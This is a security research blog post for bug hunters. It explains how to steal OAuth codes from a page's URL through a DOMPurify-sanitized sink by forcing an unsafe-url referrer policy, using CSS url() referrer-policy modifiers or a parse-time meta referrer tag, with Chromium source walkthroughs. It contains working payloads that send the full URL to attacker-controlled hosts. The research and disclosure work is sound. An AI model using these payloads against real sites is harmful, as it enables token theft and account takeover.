The Point of This Post
You found a DOMPurify sink. Your first thought is to find a bypass that runs JavaScript. That is a nice bug. But it is the wrong bet for most jobs. A JavaScript bypass gets a CVE in hours and a patch in days. The door closes before your engagement ends.
So here is a better question: what can you do when DOMPurify works perfectly and runs no JavaScript at all?
The known answer is CSS data theft. You inject CSS. Then you leak the value of an element one character at a time, by loading a different background image for each match. It is clever. Most write-ups stop there. They all leak the content of an element.
This post leaks something else: the URL itself. If the page has a token in its query string, and many do, you can steal it. No JavaScript. DOMPurify at its strictest.
Here is the plan. First I show the weak page. Then I explain the one thing in your way. Then I give you two ways past it. Last, I turn it into real OAuth token theft.
Background: Slonser's Link-Header Leak (CVE-2025-4664)
This work builds on @slonser_ (Vsevolod Kokorin).
In May 2025 he found something. Chrome reads the Link response header on subresource requests. Other browsers do not. And that header can set a referrer policy. So if a page loads an image from a server the attacker controls, that server can reply with:
Link: <https://attacker.example/x>; rel=preload; as=image; referrerpolicy=unsafe-url
Chrome obeyed it. It changed the referrer policy of the page loading the image to unsafe-url. Then it sent the full URL, query string and all, in the Referer header. Query strings often hold secrets. So in an OAuth flow, this can lead to account takeover.
Google fixed it. It became CVE-2025-4664. It was used in real attacks. It was patched in Chrome 136.0.7103.113. The Link-header trick is dead on current Chrome.
But the idea behind it is not dead. Change the referrer policy from something you control, and a cross-origin image turns into a full-URL leak. Slonser's version lived in a response header, which is now blocked. The two tricks below live inside the clean HTML instead. That is exactly where you are when you have a DOMPurify injection but cannot run script. The CVE-2025-4664 fix does not touch either one.
The Target: A Normal DOMPurify Sink
Here is the page. It is as plain as it gets:
<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.4.13/purify.min.js"></script>
<div id="output"></div>
<script>
const raw = new URLSearchParams(location.search).get("error_description") || "";
document.getElementById("output").innerHTML = DOMPurify.sanitize(raw);
</script>
It reads error_description from the URL. It cleans it. It drops it into the page. This is the "safe reflection" pattern everyone trusts. DOMPurify removes scripts and event handlers. So no JavaScript you put in error_description will run. That stays true the whole time. We never break it.
Now the setup. This page is reachable as an OAuth redirect_uri. So think: if you can make the provider send its callback here, the callback URL becomes this page's own URL, token included:
https://victim.example/index.html?code=SECRET&error_description=PAYLOAD
The code is the credential you want. It now sits in location.search, right next to your error_description payload. But you cannot run code to read it. What you can do is make the browser send the whole URL to a server you own. If you manage that, the token lands in your logs before the app ever uses it.
The One Obstacle: The Default Referrer Policy
There is exactly one thing in your way. Both tricks beat it the same way. So let's understand it once.
When a browser loads a resource, it can send a Referer header. This header tells the server which page the request came from. Chrome's default policy is strict-origin-when-cross-origin. Under this policy, a request to another site gets the Referer cut down to the origin only:
Referer: https://victim.example/
The path and query, where your token lives, are removed. So the naive attack, <img src="https://attacker.example/log">, only tells you the origin. You already knew that.
This default is set in one function, blink/common/loader/referrer_utils.cc:39–41:
net::ReferrerPolicy ReferrerUtils::GetDefaultNetReferrerPolicy() {
return net::ReferrerPolicy::REDUCE_GRANULARITY_ON_TRANSITION_CROSS_ORIGIN;
}
That maps to strict-origin-when-cross-origin. Here is the stripping it does, in blink/renderer/platform/weborigin/security_policy.cc (GenerateReferrer):
case ::mojom::ReferrerPolicy::kStrictOriginWhenCrossOrigin: {
if (!SecurityOrigin::AreSameOrigin(final_referrer_url, url)) {
return Referrer(
ShouldHideReferrer(url, final_referrer_url)
? Referrer::NoReferrer()
: get_referrer_origin(), // ← origin only, no path/query
referrer_policy_no_default);
}
break;
}
But there is a stronger policy: unsafe-url. Under it, Chrome sends the full URL every time. No stripping:
case network::mojom::ReferrerPolicy::kAlways:
return Referrer(final_referrer_url, referrer_policy_no_default);
// ← full URL, no stripping
unsafe-url maps to kAlways in the code. So the whole game is simple:
Change the page's referrer policy to
unsafe-urlbefore the image loads. Then the full URL, token and all, goes to you.
Both tricks below do this. They only differ in how they flip the policy.
Technique 1: CSS url() Request Modifiers
The payload
Two ways to deliver it. First, an inline style on one element:
<div style="background-image:url('https://attacker.example/x' referrer-policy(unsafe-url))"></div>
Second, a <style> block that targets every element on the page:
<style>
* {
background-image: url('https://pwnbox.xyz' referrer-policy(unsafe-url))
}
</style>
Both do the same thing. A background image, plus a small modifier inside url() that sets the referrer policy for that one request. Use the inline style when you can set an element's attribute. Use the <style> block when you can inject a tag but cannot touch a style attribute.
Why DOMPurify allows it
DOMPurify allows the style attribute and tag by default. It treats the value as plain, safe text. It never looks inside.
DOMPurify/src/purify.ts:571–586:
const DEFAULT_URI_SAFE_ATTRIBUTES = addToSet({}, [
'alt', 'class', 'for', 'id', 'label', 'name',
'pattern', 'placeholder', 'role', 'summary',
'title', 'value', 'style', 'xmlns', // ← style is here
]);
The key fact: DOMPurify has no CSS parser. It does not read the style value. So any CSS that Chrome accepts inside url() passes through untouched. To DOMPurify it is just text it trusts.
style is on the allowed-attributes list too, so nothing else stops it. DOMPurify/src/attrs.ts:110:
export const html = freeze([
// ...
'style', // ← allowed attribute
// ...
]);
Why Chrome obeys it
CSS now lets you add request modifiers inside url(). These are small functions like referrer-policy() that control how that one resource is fetched.
The parser reads the modifier here. It maps unsafe-url to kAlways. blink/renderer/core/css/properties/css_parsing_utils.cc:1851–1941:
bool ConsumeUrlRequestModifiers(CSSParserTokenStream& stream,
const CSSParserContext& context,
CSSUrlRequestModifiers& modifiers) {
CSSUrlRequestModifiers result;
while (!stream.AtEnd()) {
CSSValueID function_id = stream.Peek().FunctionId();
// ...
else if (function_id == CSSValueID::kReferrerPolicy) {
// ...
case CSSValueID::kUnsafeUrl:
result.referrer_policy =
network::mojom::blink::ReferrerPolicy::kAlways; // ← unsafe-url
break;
// ...
}
}
}
When the browser fetches the background image, it checks for this modifier. It uses it instead of the page default. blink/renderer/core/css/css_image_value.cc:51–72:
FetchParameters CSSImageValue::PrepareFetch(
const Document& document,
CrossOriginAttributeValue cross_origin) const {
const CSSUrlRequestModifiers& modifiers = url_data.GetModifiers();
// ...
if (modifiers.referrer_policy) {
resource_request.SetReferrerPolicy(*modifiers.referrer_policy);
// ← overrides the page default with unsafe-url
} else {
resource_request.SetReferrerPolicy(
ReferrerUtils::MojoReferrerPolicyResolveDefault(
referrer.referrer_policy));
}
// ...
}
So the image request goes out under unsafe-url. The full URL lands in your logs.
Note: these CSS
url()modifiers are new. They shipped in Chrome 150. On older Chrome, use Technique 2.
Step by step
DOMPurify.sanitize()sees<div style="...">. It treatsstyleas safe. It passes it through unchanged.innerHTMLinserts thediv. Chrome parses the CSS. It seesreferrer-policy(unsafe-url).- The image loads under
unsafe-url, just for that one request. Refereris sent with the full URL:https://victim.example/index.html?code=SECRET&error_description=....
We reported this to the Chromium security team (issue 547329065), expecting it to be treated as a bug. They closed it as N/A: intended behavior. And they're right.
referrer-policy()is a documented CSS feature working exactly as specified.
Technique 2: <meta name="referrer"> as a Parse Side-Effect
The payload
<meta name="referrer" content="unsafe-url"><img src="https://attacker.example/log">
Your first thought is right: DOMPurify removes that <meta> tag. It is not on the allow-list. So the clean output is just the <img>.
It does not matter. The <meta> already did its job before DOMPurify removed it.
Why: DOMPurify parses first, cleans second
DOMPurify does not write its own HTML parser. It hands your string to the browser's DOMParser. DOMPurify/src/purify.ts:1521–1525:
if (NAMESPACE === HTML_NAMESPACE) {
try {
doc = new DOMParser().parseFromString(dirtyPayload, PARSER_MEDIA_TYPE);
} catch (_) {}
}
So the browser parses your whole input into a document first. Only then does DOMPurify walk that document and delete the bad tags. Anything that happens during parsing has already happened.
Why: the parser shares the live page
Here is the surprising part. When Chrome's DOMParser builds a document, that document runs in the real page's window. Not a safe, separate sandbox. blink/renderer/core/xml/dom_parser.cc:37–42:
Document* DOMParser::ParseFromStringWithoutTrustedTypes(
const String& str, const V8SupportedType& type) {
Document* doc = DocumentInit::Create()
.WithURL(window_->Url())
.WithTypeFrom(type.AsAtomicString())
.WithExecutionContext(window_) // ← the LIVE main window
.WithAgent(*window_->GetAgent())
.CreateDocument();
// ...
}
.WithExecutionContext(window_) is the whole story. The parsed document's context is the live main page.
Why: <meta name="referrer"> acts during parsing
While parsing, Chrome hits the <meta>. It applies its referrer policy right then, to that execution context, which is the real page. blink/renderer/core/html/html_meta_element.cc:729–740:
} else if (EqualIgnoringAsciiCase(name_value, "referrer") &&
GetExecutionContext() && GetDocument().IsActive()) {
// ...
GetExecutionContext()->ParseAndSetReferrerPolicy(
content_value, kPolicySourceMetaTag);
// ← sets the referrer policy on GetExecutionContext()
// ...
}
GetExecutionContext() here is the main page's window. So ParseAndSetReferrerPolicy("unsafe-url") runs against the real page.
So by the time DOMPurify deletes the <meta>, the page's referrer policy is already unsafe-url.
Step by step
DOMParserparses your input. It hits the<meta>.- The
<meta>setsunsafe-urlon the real page, during parsing. - DOMPurify cleans up. It removes the
<meta>. It keeps the<img>. innerHTMLinserts the<img>. It loads under the now-activeunsafe-url.- The full URL leaks in
Referer.
The Hunter's Checklist
When you hit a DOMPurify sink and there is no JS bypass, do not close the tab. Ask two questions:
- Can I chain this to steal a secret in the URL, like an OAuth code? If the value sits in the path or query, this channel grabs it.
- Which payload fits? If
stylesurvives, Technique 1 is one self-containeddiv. If you would rather not rely on the CSS feature, Technique 2's<meta>flips the whole page's policy during parsing. Just make sure some image or CSS background loads after it, to carry the URL out.
None of this is a DOMPurify bug. That is the point. Cleaning HTML is not the same as making it inert. The parse itself has side effects. And style is an opaque channel that grows every time CSS adds a feature. When JavaScript is off the table, the referrer becomes the exfiltration primitive nobody planned for.
Happy hunting!